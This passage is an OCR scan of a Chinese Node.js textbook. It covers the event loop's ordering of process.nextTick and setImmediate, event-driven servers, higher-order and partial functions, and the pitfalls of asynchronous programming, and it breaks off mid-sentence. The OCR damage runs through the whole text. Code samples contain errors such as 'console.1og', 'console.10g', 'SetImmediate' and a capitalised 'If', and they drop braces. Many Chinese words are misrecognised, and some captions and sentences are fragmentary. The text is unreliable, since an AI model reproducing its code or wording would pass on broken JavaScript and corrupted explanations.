console.1og( ' 正 常 执 行 ) ; 


上 述 代码 的 输出 结果 如 下 ; 


而 用 SetImmediate( ) 实 现时 ， 相关 代码 如 下 : 


SetImmediate(function () { 
console.1og( "延迟 执行 )， 


}); 
console.1log(' 正 常 执行 ' ); 


其 结 采 完全 一 样 : 
正常 执行 

延迟 执行 
但 是 两 者 之 间 其 实 古 有 细微 差别 的 。 将 它们 放 在 一 起 时 ， 又 会 是 怎样 
的 优先 级 呢 。 示 例 代 码 如 下 : 


process.nextTick(function () { 
console.1l0g('nextTick 延 迟 执 行 ' )， 


}); 
SetImmediate(function () { 
console.10g('setImmediate 延 迟 执行 ' )， 


}); 
console.1og( ' 正 常 执行 ' ) ; 


其 执行 结果 如 下 : 


正常 执行 
nextTick 延 迟 执行 
setImmediate 延 迟 执行 


从 结果 里 可 以 看 到 ，process.nextTtick() 中 的 回调 函数 执行 的 优先 级 要 高 于 
setImmediate()。 这 里 的 原因 在 于 事件 循环 对 观察 者 的 检查 是 有 先后 顺序 
的 ， process.nextTick() 属 于 idle 观 察 者 ， setImmediate() 属 于 check 观 察 者 . 在 
每 一 个 轮 循环 检查 中 ，idle 观 察 者 先 于 1/O 观 察 者 ，1/O 观 察 者 先 于 check 
观察 者 。 

在 具体 实现 上 ， Pprocess.nextTick() 的 加 调 函数 保存 在 一 个 数组 中 ， 
setImmediate() 的 结果 则 是 保存 在 链表 中 ? 在 行为 上 ， process.nextTick() 在 每 
轮 循环 中 会 将 数组 中 的 回调 函数 全 部 执行 完 ， 而 setzmediate() 在 每 轮 循 
环 中 执行 链表 中 的 一 个 回调 函数 。 如 下 的 示例 代码 可 以 佐证 : 


// 加 入 两 个 nextTick() 的 回调 函数 
process.nextTick(function () 
console.1og('nextTick 延 迟 执行 1' )， 
于 
process.nextTick(function () { 
console.10g('nextTick 延 迟 执行 2' )， 


\ 一 


}); 

// 加 入 两 个 setImmediate( ) 的 回调 函数 

SetImmediate(function () { 
console.10g('setImmediate 延 迟 执行 1' ) ; 
// 进入 下 次 循环 
process.nextTick(function () { 

console.1l0g(' 强 势 插 入 '); 

}); 


了 
SetImmediate(function () { 
console.10g('setImmediate 延 迟 执行 2' ) ; 
}); 
console.1log(' 正 常 执行 ' ); 


2 
其 执行 结果 如 下 : 
正常 执行 

nextTick 延 迟 执行 1 
nextTick 延 迟 执行 2 
setImmediate 延 迟 执行 1 
强势 插入 
setImmediate 延 迟 执行 2 


从 执行 结果 上 可 以 看 出 ， 当 第 一 | setIimmediate() 上 的 回调 画 数 执行 后 ， 并 
没有 立即 执行 第 二 个 ， 而 是 进入 了 下 一 轮 循环 ， 再 次 按 process.nextTick() 
优先 setImmediate() 次 后 的 顺序 执行 S 之 所 以 这 样 设计 ， 是 为 了 保证 每 
6 ， 防 止 CPU 占用 过 多 而 阻塞 后 续 IO 调 用 的 
情况 。 


3.5 “事件 驱动 与 高 性 能 服务 器 

前 面 主要 介绍 了 异步 的 实现 原理 ， 在 这 个 过 程 中 ， 我 们 也 基本 勾勒 出 
了 事件 驱动 的 实质 ， 即 通过 主 循环 加 事件 触发 的 方式 来 运行 程序 。 
尽管 本 章 只 用 了 fs.open0) 方 法 作为 例子 来 前 述 Node 如 何 实现 异步 OO。 
而 实质 上 ， 腊 步 7O 不 仅仅 应 用 在 文件 操作 中 。 对 于 网 络 套 接 字 的 处 
理 ，Node 也 应 用 到 了 异步 JO， 网 络 套 接 字 上 侦 听 到 的 请 求 都 会 形成 事 
件 交 给 IO 观察 者 。 事 件 循环 会 不 停 地 处 理 这 些 网 络 MO 事 件 。 如 果 
JavaScript 有 传 入 回调 函数 ， 这 些 事件 将 会 最 终 传 递 到 业务 逻辑 层 进 行 
处 理 。 利 用 Node 构 建 Web 服 务 器 ， 正 是 在 这 样 一 个 基础 上 实现 的 ， 其 
流程 图 如 图 3-15 所 示 。 


绑 定 请 求 事件 


执行 1/O 观 察 者 中 
事件 的 回调 函数 


发 送 给 IO 观察 者 
形成 事件 


否 


退出 循环 


图 3-15 ”利用 Node 构 建 Web 服 务 器 的 流程 图 
下 面 为 儿 种 经 典 的 服务 器 模型 ， 这 里 对 比 下 它们 的 优 缺 点 。 


。 同步 式 。 对 于 同步 式 的 服务 ， 一 次 只 能 处 理 一 个 请 求 ， 并 且 
其 余 请 求 都 处 于 等 待 状态 。 

。 每 进程/ 每 请 求 。 为 每 个 请 求 启动 一 个 进程 ， 这 样 可 以 处 理 多 
个 请 求 ， 但 是 它 不 具备 扩展 性 ， 因 为 系统 资源 只 有 那么 多 。 


。 每 线程 /每 请 求 。 为 每 个 请 求 局 动 一 个 线程 来 处 理 。 尽 管线 程 
比 进 程 要 轻 量 ， 但 是 由 于 每 个 线程 都 占用 一 定 内 存 ， 当 大 并 
发 请 求 到 来 时 ， 内 存 将 会 很 快 用 光 ， 导 致 服务 郁 缓 慢 。 每 线 
程 /每 请 求 的 扩展 性 比 每 进程 /每 请 求 的 方式 要 好 ， 但 对 于 大 
型 站 点 而 言 依然 不 够 。 


每 线程 /每 请 求 的 方式 目前 还 被 Apache 所 采用 。Node 通 过 事件 驱动 的 方 
式 处 理 请 求 ， 无 须 为 每 一 个 请 求 创建 额外 的 对 应 线程 ， 可 以 省 挥 创建 
线程 和 销毁 线程 的 开销 ， 同 时 操作 系统 在 调度 任务 时 因为 线程 较 少 ， 
上 下 文 切 换 的 代价 很 低 。 这 使 得 服务 器 能 够 有 条 不 率 地 处 理 请 求 ， 即 
使 在 大 量 连 接 的 情况 下 ， 也 不 受 线程 上 下 文 切 换 开 销 的 影响 ， 这 是 
Node 高 性 能 的 一 个 原因 。 

事件 驱动 带 来 的 高 效 已 经 渐渐 开始 为 业界 所 重视 。 知 名 服务 器 Nginx， 
也 握 弃 了 多 线程 的 方式 ， 采 用 了 和 Node 相 同 的 事件 驱动 。 如 今 ， 
Nginx 大 有 取代 Apache 之 势 。Node 具 有 与 Nginx 相 同 的 特性 ， 不 同 之 处 
在 于 Nginx 采 用 纯 C 写 成 ， 性 能 较 高 ， 但 是 它 仅 适合 于 做 Web 服 务 器 ， 
用 于 反问 代理 或 负载 均衡 等 服务 ， 在 处 理 具 体 业务 方面 较为 欠缺 。 
Node 则 是 一 套 高 性 能 的 平台 ， 可 以 利用 它 构 建 与 Nginx 相 同 的 功能 ， 
也 可 以 处 理 各 种 具体 业务 ， 而 且 与 背后 的 网 络 保持 异步 畅通 。 两 者 相 
比 ，Node 没 有 Nginx 在 Web 服 务 需 方面 那么 专业 ， 但 场景 更 大 ， 目 身 性 
能 也 不 错 。 在 实际 项 目 中 ， 我 们 可 以 结合 它们 各 目 优 点 ， 以 达到 应 用 
的 最 优 性 能 。 

事实 上 ，Node 的 异步 WO 并 非 首 创 ， 但 却 是 第 一 个 成 功 的 平台 。 在 那 之 
前 ， 也 有 一 些 知 名 的 基于 事件 驱动 的 实现 ， 具 体 如 下 所 示 。 


。 Ruby 的 Event Machine 。 
。 PerlHJAnyEvent ° 
。 Python 的 Twisted ° 


在 这 些 平台 上 采用 事件 驱动 的 方式 时 ， 需 要 花 一 定 精力 了 解 这 些 库 。 
这 些 库 没 能 成 功 的 原因 则 是 同步 /0O 库 的 存在 。 本 章 描述 的 异步 /0O 实 
现 ， 其 主旨 是 使 /O 操 作 与 CPU 操 作 分离 。 奈 何 这 些 语言 平台 上 的 标准 
IO 库 都 是 阻塞 式 的， 一 旦 事件 循环 中 存在 阻塞 TO， 将 导致 其 余 IO 无 
法 立即 进行 ， 性 能 会 急剧 下 降 ， 其 效果 类 似 于 同步 式 服 务 ， 其 他 请 求 
将 不 能 立即 处 理 。 


因为 在 这 些 成 熟 的 语言 平台 上 ， 异 步 不 是 主流 ， 尺 管 有 这 些 事 件 驱 动 
的 实现 库 ， 但 开发 者 总 会 习惯 性 地 采用 同步 JO 库 ， 这 导致 预想 的 高 性 
能 直接 落空 。Ryan Dahl 在 评估 他 最 早 的 选 型 时 ，Lua 一 度 是 最 贴近 他 
选 型 的 语言 ， 但 是 由 于 标准 WO 库 是 同步 WO， 他 知道 即使 完成 这 样 一 
个 事件 驱动 的 实现 ， 也 将 不 会 得 到 较 大 范围 的 使 用 。 在 Node 广 泛 流 行 
之 后 ， 社 区 的 Tim Caswell 将 Node 的 这 套 思 想 重新 移植 到 了 Lua 和 平台， 
该 项 目 叫 luavit 。 

JavaScript 中 的 作用 域 和 函数 在 浏 贤 器 问 已 有 成 熟 的 应 用 ， 也 很 好 地 帮 
助 了 Ryan Dahl 实 现 它 的 想法 。JavaScript 在 服务 絮 问 近乎 空白 ， 使 得 
Node 没 有 任何 历史 包容 ， 而 Node 在 性 能 上 的 表现 使 得 它 一 下 子 就 在 社 
区 中 流行 起 来 了 。 


3.6 ”总 结 


CA 一 口 
本 章 介绍 了 异步 0 和 另 一 些 非 JO 的 异步 方法 。 可 以 看 出 ， 事 件 循环 
是 异步 实现 的 核心 ， 它 与 浏 讽 右 中 的 执行 模型 基本 保持 了 一 致 。 而 像 
古老 的 Rhino， 尽 管 是 较 早 束 能 在 服务 右 端 运行 的 JavaScript 运 行 时 ， 
但 是 执行 模型 并 不 像 浏览 器 采用 事件 驱动 ， 而 是 像 其 他 语言 一 般 采 用 
同步 JO 作 为 主要 模型 ， 这 造成 它 在 性 能 上 无 所 发 挥 。Node 正 是 依靠 构 
人 打破 了 JavaScript 在 服务 器 端 止 步 
` 且 HJ/ 司 轩 。 


3.7 参考 资源 
本 章 参考 的 资源 如 下 : 


。 http:/cnodejs.org/blog/?p=244 
。 http:/cnodejs.org/blog/?p=2426 
. http://cnodejs.org/blog/?p=2489 


。 http:/www.ibm.com/developerworks/cm/linux/l-asynd/ 
。 http:/twistedmatrix.comy/trac/ 
。 http://luvit.io/ 


。 http://forum.nginx.org/read.php?2,113524,113587#msg-113587 


第 4 章 异步 编程 

异步 WO， 必 有 异步 编程 。 
上 一 章 摘 述 了 Node 如 何 通过 事件 循环 实现 异步 ， 包 括 与 各 种 MO 多 路 复 
用 搭配 实现 的 异步 WO 以 及 与 VO 无 关 的 异步 。Node 是 自 个 将 异步 大 规 
模 带 到 应 用 层面 的 平台 ， 它 从 内 在 运行 机 制 到 API 的 设计 ， 无 不 透露 
出 异步 的 气息 来 。 异 步 的 高 性 能 为 它 带 来 了 高 度 的 赞誉 ， 而 异步 编程 
也 为 其 带 来 部 分 的 诈 毁 。 
前 述 章 节 中 亦 描 述 过 异步 1/O 在 应 用 层面 不 流行 的 原因 ， 那 便 是 异步 编 
程 在 流程 控制 中 ， 业 务 表达 并 不 太 适 合 自 然 语言 的 线性 思维 习惯 。 较 
少 人 能 适应 直接 面 对 事 件 驱 动 进行 编程 ， 唯 独 对 它 熟 悉 的 主要 是 GUI 
开发 者 ， 如 前 端 工 程 师 或 GUI 工 程 师 。 前 端 工 程 师 习以为常 并 能 够 娴 
熟地 处 理 各 种 DOM 事 件 和 浏览 器 中 的 事件 。Ryan Dahl 偏 好 事件 驱 
动 ， 而 Java Script 在 浏览 器 中 也 正 扯 合 事件 驱动 的 执行 过 程 ， 这 也 使 得 
前 后 端的 JavaScript 在 执行 原理 和 风格 上 都 趋 于 一 致 。 虽 然 语言 执行 在 
Co 但 除了 答 主 提供 的 API 有 所 不 同 外 ， 并 不 让 人 觉得 是 一 
| WT 证 号 。 
V8 和 异步 1/O 在 性 能 上 带 来 的 提升 ， 前 后 端 JavaScript 编 程 风格 一 致 ， 
是 Node 能 够 迅速 成 功 并 流行 起 来 的 主要 原因 。 


4.1 画 数 式 编程 

在 开始 异步 编程 之 前 ， 先 得 知晓 JavaScript 现 今 的 回调 函数 和 深层 航 套 
的 来 龙 去 脉 。 在 JavaScript 中 ， 函 数 (function) 作为 一 等 公民 ， 使 用 上 
非常 自由 ， 无 论调 用 它 ， 或 者 作为 参数 ， 或 者 作为 返回 值 均 可 。 函 数 
的 灵活 性 是 JavaScript 比 较 吸 引 人 的 地 方 之 一 ， 它 与 古老 的 Lisp 语 言 颇 
具 渊 源 。JavaScript 在 诞生 之 前 ，Brendan Eich 借 鉴 了 Scheme 语言 
(Scheme 作 为 Lisp 的 派生 ) ， 吸 收 了 函数 式 编程 的 精华 ， 将 函数 作为 
等 公民 便 是 典型 案例 。 

鉴于 函数 式 编程 在 近年 来 重新 火热 ， 而 前 端 类 图 书 中 较 少 述 及 这 部 分 
知识 ， 这 里 稍 作 补 充 ， 因 为 它 是 JavaScript 寞 步 编程 的 基础 。 
4.1.1 高 阶 画 数 

在 通常 的 语言 中 ， 函 数 的 参数 只 接受 基本 的 数据 类 型 或 是 对 象 引 用 ， 
a 
递 和 返回 : 


function foo(x) { 
return x; 


高 阶 函 数 则 是 可 以 把 画 数 作为 参数 ， 或 是 将 函数 作为 返回 值 的 函数 ， 
如 下 面 的 代码 所 示 : 


function foo(x) { 
en 
}; 
} 
高 阶 钞 数 可 以 将 函数 作为 输入 或 返回 值 的 变化 看 起 来 虽 细 小 ， 但 是 对 
于 C/C++ 语言 而 言 ， 通 过 指针 也 可 以 达到 相同 的 效果 。 但 对 于 程序 编 
写 ， 高 阶 函 数 则 比 普 通 的 函数 要 灵活 许多 。 除 了 通 币 意义 的 函数 调用 
返回 外 ， 还 形成 了 一 种 后 续 传 递 风格 (Continuation Passing Style) 的 
结果 接收 方式 ， 而 非 单 一 的 返回 值 形式 。 后 续 传 递 风格 的 程序 编写 将 
函数 的 业务 重点 从 返回 值 转移 到 了 回调 函数 中 : 


function foo(x, bar) { 
return bar(x); 


} 

以 上 面 的 代码 为 例 ， 对 于 相同 的 feo0) 函 数 ， 传 入 的 bar 参 数 不 同 ， 则 可 
以 得 到 不 同 的 结果 。 一 个 经 典 的 例子 便 是 数组 的 sort0) 方 法 ， 它 是 一 个 
货真价实 的 高 阶 画 数 ， 可 以 接受 一 个 方法 作为 参数 参与 运算 排序 : 


var points = [40, 100, 1, 5, 25, 10]; 
points.sort(function(a, b) { 
return a - b; 


}); 
// [ 1, 5, 10, 25, 40, 100 ] 


通过 改动 sort() 方 法 的 参数 ， 可 以 决定 不 同 的 排序 方式 ， 从 这 里 可 以 看 
出 高 阶 函 数 的 灵活 性 来 。 结 合 Node 提 供 的 最 基本 的 事件 模块 可 以 看 
到 ， 事 件 的 处 理 方式 正 是 基于 高 阶 函 数 的 特性 来 完成 的 。 在 目 定义 事 
件 实例 中 ， 通 过 为 相同 事件 注册 不 同 的 回调 函数 ， 可 以 很 灵活 地 处 理 
业务 逻辑 。 示 例 代码 如 下 : 


var emitter = new events,.EventEmitter(); 
emitter.on('event_foo', function () { 


// TODO 
}); 


本 书 时 常 提 到 事件 可 以 十 分 方便 地 进行 复杂 业务 逻 愉 的 解 厢 ， 它 其 实 
受益 于 高 阶 函 数 。 

高 阶 函 数 在 JavaScript 中 比比 和 丝 是 ， 其 中 ECMAScript5 中 提供 的 一 些 数 
组 方法 ( eres ~ map() 、 reduce() reduceRight() 、 filter() 、 every() 、 
some()) 十 分 典型 。 

4.1.2 ” 偏 钞 数 用 法 

偏 钞 数 用 法 古 指 创建 一 个 调用 为 外 一 个 部 分 一 一 参数 或 变量 已 经 预 置 
0 的 函数 的 用 法 。 这 句 话 相对 较为 握 口 ， 下 面 我 们 以 实例 来 
说 明 : 


var toString = Object.prototype.toString 


var isString = function (obj) { 
return toString.call(obj) == '[object String]'; 


了 
var isFunction = function (obj) { 
return toString.call(obj) == '[object Function]'; 


}; 


在 JavaScript 中 进行 类 型 判断 时 ， 我 们 通常 会 进行 类 似 上 述 代 码 的 方法 
定义 。 这 上段 代码 固然 不 复杂 ， 只 有 两 个 函数 的 定义 ， 但 是 里 面 存 在 的 
问题 是 我 们 需要 重复 去 定义 一 些 相似 的 函数 ， 如 宁 有 更 多 的 isxxx0)， 职 
会 出 现 更 多 的 元 余 代 码 。 为 了 解决 重复 定义 的 问题 ， 我 们 引入 一 个 新 
琅 数 ， 这 个 新 函数 可 以 如 工厂 一 样 批量 创建 一 些 类 似 的 函数 。 在 下 面 
的 代码 中 ， 我 们 通过 isrype0 函 数 预 移 指 定 type 的 值 ， 然 后 返回 一 个 新 的 
函数 : 
var isType = function (type) { 


return function (obj) { 
return toString.call(obj) == '[object ' + type + ']'; 


J 
}; 


var isString = isType('String'); 
var isFunction = isType('Function'); 


可 以 看 出 ， 引入 istype() 苹 数 后 ， 创建 isstring() 、isFunction() 团 数 束 变 得 
简单 多 了 。 这 种 通过 指定 部 分 参数 来 产生 一 个 新 的 定制 函数 的 形式 束 
是 侦 国 数 。 

偏 钞 数 应 用 在 异步 编程 中 也 十 分 常见 ， 著 名 类 库 Underscore 提 供 的 
after() 方 法 即 是 偏 钞 数 应 用 ， 其 定义 如 下 : 


_.after = function(times, func) { 

If (times <= 0) return func(); 

return function() { 
If (--times < 1) { return func.apply(this, arguments); } 
}; 
}; 


这 个 函数 可 以 根据 传 入 的 tines 参 数 和 具体 方法 ， 生 成 一 个 需要 调用 多 
次 才 真 正 执 行 实际 钞 数 的 函数 。 


4.2 异步 编程 的 优势 与 难点 

曾经 的 单线 程 模型 在 同步 WO 的 影响 下 ， 由 于 WO 调用 缓慢 ， 在 应 用 层面 导 
致 CPU 与 VO 无 法 重 肥 进行。 为 了 照顾 编程 人 员 的 阅读 思维 习惯 ， 同 步 1O 
盛行 了 很 多 年 。 但 在 日 新 月 异 的 技术 大 潮 面前 ， 性 能 问题 摆 在 了 编程 人 
员 的 面前 。 提 升 性 能 的 方式 过 去 多 用 多 线程 的 方式 解决 ， 但 是 多 线程 的 
引入 在 业务 逻辑 方面 制造 的 麻烦 也 不 少 。 从 操作 系统 调度 多 线程 的 上 下 
文 切换 开销 ， 到 实际 编程 里 的 锁 、 同 步 等 问题 ， 让 开发 人 员 头 疼 的 时 候 
也 并 不 少 。 另 一 个 解决 IO 竹 能 的 方案 是 通过 C/C++ 调用 操作 系统 底层 接 
口 ， 自 己 手 工 完 成 异步 WO， 这 能 够 达到 很 高 的 性 能 ， 但 是 调试 和 开发 门 
概 均 十 分 高 ， 在 帮助 业务 解决 问题 上 ， 需要 花费 较 大 的 精力 。 * Node 利 用 
JavaSeript 及 其 内 部 异步 库 ， 将 异步 直接 提升 到 业务 层面 ， 这 是 一 种 创 
萌 Oo 

4.2.1 优势 

Node 带 来 的 最 大 特性 莫 过 于 基于 事件 驱动 的 非 阻塞 UO 模 型 ， 这 是 它 的 灵 
魂 所 在 。 非 阻塞 1/O 可 以 使 CPU 与 VO 并 不 相互 依赖 等 待 ， 让 资源 得 到 更 好 
的 利用 。 对 于 网 络 应 用 而 言 ， 并 行 带 来 的 想象 空间 更 大 ， 延 展 而 开 的 是 
分 布 式 和 云 。 并 行使 得 各 个 单 点 之 间 能 够 更 有 效 地 组 织 起 来 ， 这 也 是 
oa 云 计算 厂商 中 广 受 青睐 的 原因 ， 图 4-1 为 异步 /JO 调用 的 示意 图 。 


[和 LO 调用 
6 en 返回 数据 


村 ee : 


图 4-1 异步 1O 调 用 的 示意 图 


如 果 采 用 传统 的 同步 WO 模型 ， 分 布 式 计算 中 性 能 的 折扣 将 会 是 明显 的 ， 
如 图 4-2 所 示 。 


同步 ] 9 调用 一 ”/O 调 用 1 


= 一 返回 数据 一 一 


同步 WO 调用 “TO 调用 2 
一 一 返回 数据 一 一 


图 4-2 ”同步 IO 调用 示意 图 

在 第 3 草 中 ， 我 们 讨论 过 Node 实 现 异 步 IO 的 原理 。 利 用 事件 循环 的 方 
式 ，JavaScript 线 程 像 一 个 分 配 任务 和 处 理 结果 的 大 管家 ，LIO 线 程 池 里 的 
各 个 IO 线程 都 是 小 二 ， 负 责 藤 项 业 业 地 完成 分 配 来 的 任务 ， 小 二 与 管家 
之 间 互 不 依赖 ， 所 以 可 以 保持 整体 的 高 效率 。 这 个 利用 事件 循环 的 经 典 


调度 万 式 在 很 多 地 方 都 存在 应 用 ， 最 典型 的 是 UI 编程 ， 如 iOS 应 用 开发 


这 个 模型 的 缺点 则 在 于 管家 无 法 承担 过 多 的 细节 性 任务 ， 如 果 承 担 太 
多 ， 则 会 影响 到 任务 的 调度 ， 管 家 忙 个 不 停 ， 小 二 却 得 不 到 活 干 ， 结 后 
则 是 整体 效率 的 降低 。 

换言之 ，Node 是 为 了 解决 编程 模型 中 阻塞 IO 的 性 能 问题 的 ， 采 用 了 单线 
程 模型 ， 这 导致 Node 更 像 一 个 处 理 1/O 密 集 问题 的 能 手 ， 而 CPU 密 集 型 则 
取决 于 管家 的 能 耐 如 何 。 

在 第 1 章 中 ， 从 辈 波 那 契 数列 计算 的 测试 结果 中 可 以 看 到 ， 这 个 管家 具体 
的 能 力 如 何 。 如 果 形 象 地 去 评判 的 话 ，C 语 言 是 性 能 至 苯 ， 得 葵 于 V8 性 能 
的 Node 则 是 一 流 武林 高 手 ， 在 具备 武功 秘笈 的 情况 下 (调用 C/C++ 扩展 模 
块 ) ，Node 的 能 力 可 以 通 近 顶尖 之 列 。 

由 于 事件 循环 模型 需要 应 对 海量 请 求 ， 海 量 请 求 同 时 作用 在 单线 程 上 ， 

就 需要 防止 任何 一 个 计算 耗费 过 多 的 CPU 时 间 片 。 至 于 是 计算 密集 型 ， 还 
是 IO 密集 型 ， 只 要 计算 不 影 响 异步 JO 的 调度 ， 那 就 不 构成 问题 。 建 议 对 
CPU 的 耗 用 不 要 超过 10 ms， 或 者 将 大 量 的 计算 分 解 为 诸多 的 小 量 计算 ， 

通过 settmmediate() 进 行 调 度 。 只 要 合理 利用 Node 的 异步 模型 与 V8 的 高 性 
能 ， 就 可 以 充分 发 挥 CPU 和 LO 资源 的 优势 。 

4.2.2 ”难点 

Node 令 异步 编程 如 此 风行 ， 这 也 是 异步 编程 首次 大 规模 出 现在 业务 层 
面 。 它 借助 异步 /0O 模 型 及 V8 高 性 能 3 引擎， 突破 单线 程 的 性 能 瓶 贷 ，i 

JavaScript 在 后 端 达到 实用 价值 。 另 一 方面 ， 它 也 统一 了 前 后 端 JavaScript 
的 编程 模型 。 对 于 异步 编程 之 来 的 新 鲜 感 与 不 适 感 ， 开 发 者 们 有 着 不 同 
程度 的 感受 。 接 下 来 ， 我们 梳理 一 下 异步 编程 的 难点 ， 以 更 好 地 利用 
Node。 


1. ”难点 1: 异常 处 理 
过 去 我 们 处 理 异 常 时 ， 通 负 使 用 类 Java 的 tryvcatchyfinal 语 句 块 进 
行 异 党 捕获 ， 示 例 代 码 如 下 : 


t 


ry { 
JSON.parse(json); 
} catch (e) { 

// TODO 


但 是 这 对 于 异步 编程 而 言 并 不 一 定 和 到 用 。 第 3 章 提 到 过 ， 异 步 1/O 
的 实现 主要 包含 两 个 阶段 : 提交 请 求 和 处 理 结果 。 这 两 个 阶段 
中 间 有 事件 循环 的 调度 ， 两 者 彼此 不 关联 。 有 异步 方法 则 通常 在 


第 一 个 阶段 提交 请 求 后 立即 返回 ， 因 为 异常 并 不 一 定 发 生 在 这 
个 阶段 ，tryyeaten 的 功效 在 此 处 不 会 发 挥 任何 作用 。 异 步 方法 的 
定义 如 下 所 示 : 


var async = function (callback) { 
process.nextTick(callback); 
} 日 


调用 asyne() 方 法 后 ， callback 被 存放 起 来 ， 直到 下 一 个 事件 循环 
(Tick) 才 会 取出 来 执行 。 尝 试 对 异步 方法 进行 tryycatcn 操 作 只 

能 捕获 当 次 事件 循环 内 的 异常 ， 对 callback 执 行 时 抛 出 的 异常 将 无 

能 为 力 ， 示 例 代码 如 下 : 

ee ie 


} catch (e) { 
// TODO 


Node 在 处 理 异 浓 上 形成 了 一 种 约定 ， 将 异 溃 作 为 回调 函数 的 第 
一 个 实 参 传 回 ， 如 果 为 空 值 ， 则 表明 异步 调用 没有 异常 抛 出 : 
async(function (err, results) { 

// TODO 
}); 


在 我 们 自行 编写 的 异步 方法 上 ， 也 需要 去 遵循 这 样 一 些 原 则 : 
原则 一 : 必须 执行 调用 者 传 入 的 回调 函数 ，; 

原则 二 : 正确 传递 回 异 常 供 调 用 者 判断 。 

示例 代码 如 下 : 


var async = function (callback) { 
process.nextTick(function() { 
var results = something,; 
if (error) { 
return callback(error); 


} 
callback(null, results); 
}); 


在 异步 方法 的 编写 中 ， 男 一 个 容易 犯 的 错误 是 对 用 户 传 递 的 回 
调 函 数 进行 异常 捕获 ， 示 例 代 码 如 下 : 


try { 

req.body = JSON.parse(buf, options.reviver); 
callback(); 

catch (err){ 

err.body = buf; 


wo 


err.status = 400; 
callback(err); 


上 述 代码 的 意图 是 捕获 xsov.parse0) 中 可 能 出 现 的 异 第 ， 但 是 却 不 
小 心包 含 了 用 户 传递 的 回调 函数 。 这 意味 着 如 采 回 调 函 数 中 有 
异常 抛 出 ， 将 会 进入 caten0 代 码 块 中 执行 ， 于 是 回调 函数 将 会 被 
执行 两 次 。 这 显然 不 是 预期 的 情况 ， 可 能 导致 业务 混乱 。 正 确 
的 捕获 应 当 为 : 

tr ys 

req.body = JSON.parse(buf, options.reviver); 

catch (err){ 


err.body = buf; 
err.status = 400; 


Dad 


return callback(err); 


站 
callback(); 


在 编写 异步 方法 时 ， 只 要 将 异常 正确 地 传递 给 用 户 的 回调 方法 

即 可 ， 无 须 过 多 处 理 。 

难点 2: 画 数 代 套 过 深 

这 或 许 是 Node 被 人 诉 病 最 多 的 地 方 。 在 前 端 开发 中 ，DOM 事 件 

相对 而 言 不 会 存在 互相 依赖 或 需要 多 个 事件 一 起 协作 的 场景 ， 

0 * 下面 的 代码 为 彼此 独立 的 DOM 
绑 定 : 


$(selector).click(function (event ) { 
// TODO 


}); 

$(selector).change(function (event) { 
// TODO 

}); 


但 是 对 于 Node 而 言 ， 事 务 中 存在 多 个 异步 调用 的 场景 比比 家 
征 。 比 如 一 个 遍历 目 孙 的 操作 ， 其 代码 如 下 : 


fs.readdir(path.join(__dirname, '..'), function (err, files) { 
files.forEach(function (filename, index) { 
fs.readFile(filename, 'utf8', function (err, file) { 
// TODO 


} 
}); 
}); 
对 于 上 述 场 景 ， 由 于 两 次 操作 存在 依赖 和 关系， 函数 符 套 的 行为 
也 许 情 有 可 原 。 那 么 ， 在 网 页 泻 染 的 过 程 中 ， 通 常 需要 数据 、 
模板 、 资 源 文件 ， 这 三 者 互相 之 间 并 不 依赖 ， 但 最 终 浑 染 结果 
。 如果 采 用 默认 的 异步 方法 调用 ， 程 序 也 许 将 
会 如 不 : 


fs.readFile(template_ path, ‘utf8', function (err, template) { 
db.query(sql, function (err, data) { 
11ion.get(function (err, resources) { 
// TODO 
}); 


}); 
}); 
这 在 结果 的 保证 上 是 没有 问题 的 ， 问 题 在 于 这 并 没有 利用 好 异 
步 WO 珊 来 的 并 行 优势 。 这 是 异步 编程 的 典型 问题 ， 为 此 有 人 曾 
说 ， 因 为 租 套 的 深度 ， 未 来 最 难看 的 代码 必 将 从 Node 中 诞生 。 
但 古 实际 悄 况 没有 想象 得 那么 粮 料 ， 且 看 后 面 如 何 解 决 该 问 
题 。 
难点 3: 阻塞 代码 
对 于 进入 JavaScript 世 界 不 久 的 开发 者 ， 比 较 纳闷 这 门 编程 语言 
竟然 没有 slieep0) 这 样 的 线程 沉睡 功能 ， 唯 独 能 用 于 延 时 操作 的 只 
有 setInterval() 和 setTimeout() 这 两 个 函数 站 但 是 让 人 惊讶 的 是 ， 玉 
两 个 函数 并 不 能 阻塞 后 续 代 码 的 持续 执行 。 所 以 ， 有 多 半 的 开 
发 者 会 写 出 下 述 这 样 的 代码 来 实现 sleeptleeo) 的 效果 : 


// TODO 

var Start = new Date(); 

while (new Date() - Start < 1000) { 
// TODO 


} 
// 需要 阻塞 的 代码 


但 是 事实 是 糟糕 的 ， 这 段 代 码 会 持续 占用 CPU 进行 判断 ， 与 真正 
的 线程 沉睡 相去 其 远 ， 完 全 破坏 了 事件 循环 的 调度 。 由 于 Node 
单线 程 的 原因 ，CPU 资 源 全 都 会 用 于 为 这 段 代码 服务 ， 导 致 其 余 
任何 请 求 都 会 得 不 到 啊 应 。 

遇见 这 样 的 需求 时 ， 在 统一 规划 业务 逻辑 之 后 ， 调 用 setrineout() 
的 效果 会 更 好 。 

难点 4: 多 线程 编程 

我 们 在 谈论 JavaSscript 的 时 候 ， 通 常 谈 的 是 单一 线程 上 执行 的 代 
码 ， 这 在 浏览 器 中 指 的 是 JavaScript 执 行 线程 与 UI 浑 染 共 用 的 一 
个 线程 ， 在 Node 中 ， 只 是 没有 UI 演 染 的 部 分 ， 模 型 基本 相同 。 
对 于 服务 器 端 而 言 ， 如 果 服 务 器 是 多 核 CPU， 单 个 Node 进 程 实 
质 上 是 没有 充分 利用 多 核 CPU 的 。 随 着 现今 业务 的 复杂 化 ， 对 于 
多 核 CPU 利 用 的 要 求 也 越 来 越 高 。 浏 贤 器 提出 了 Web Workers， 
它 通 过 将 JavaScript 执 行 与 UI 演 染 分 离 ， 可 以 很 好 地 利用 多 核 
CPU 为 大 量 计算 服务 。 同 时 前 端 Web Workers 也 是 一 个 利用 消息 
机 制 合 理 使 用 多 核 CPU 的 理想 模型 。 图 4-3 为 Web Workers 的 工作 
示意 图 。 


工作 线程 工作 线程 


| 一 一 消息 传递 一 二 计算 网 用 


| 一 一 消息 传递 计算 调用 


国 一 一 返回 结果 一 一 


图 4-3” Web Workers 的 工作 示意 图 

遗憾 在 于 前 端 浏 览 絮 存在 对 标准 的 兹 后 性 ，Web Workers 并 没有 
广泛 应 用 起 来 。 另 外 web Workers 能 解决 利用 CPU 和 减少 阻塞 UI 
演 染 ， 但 是 不 能 解决 UI 演 染 的 效率 问题 。Node 借 鉴 了 这 个 模 
式 ， child_process 是 其 基础 APL， cluster 模 块 是 更 深层 次 的 应 用 > 借 
助 Web Workers 的 模式 ， 开 发 人 员 要 更 多 地 去 面临 跨 线 程 的 编 
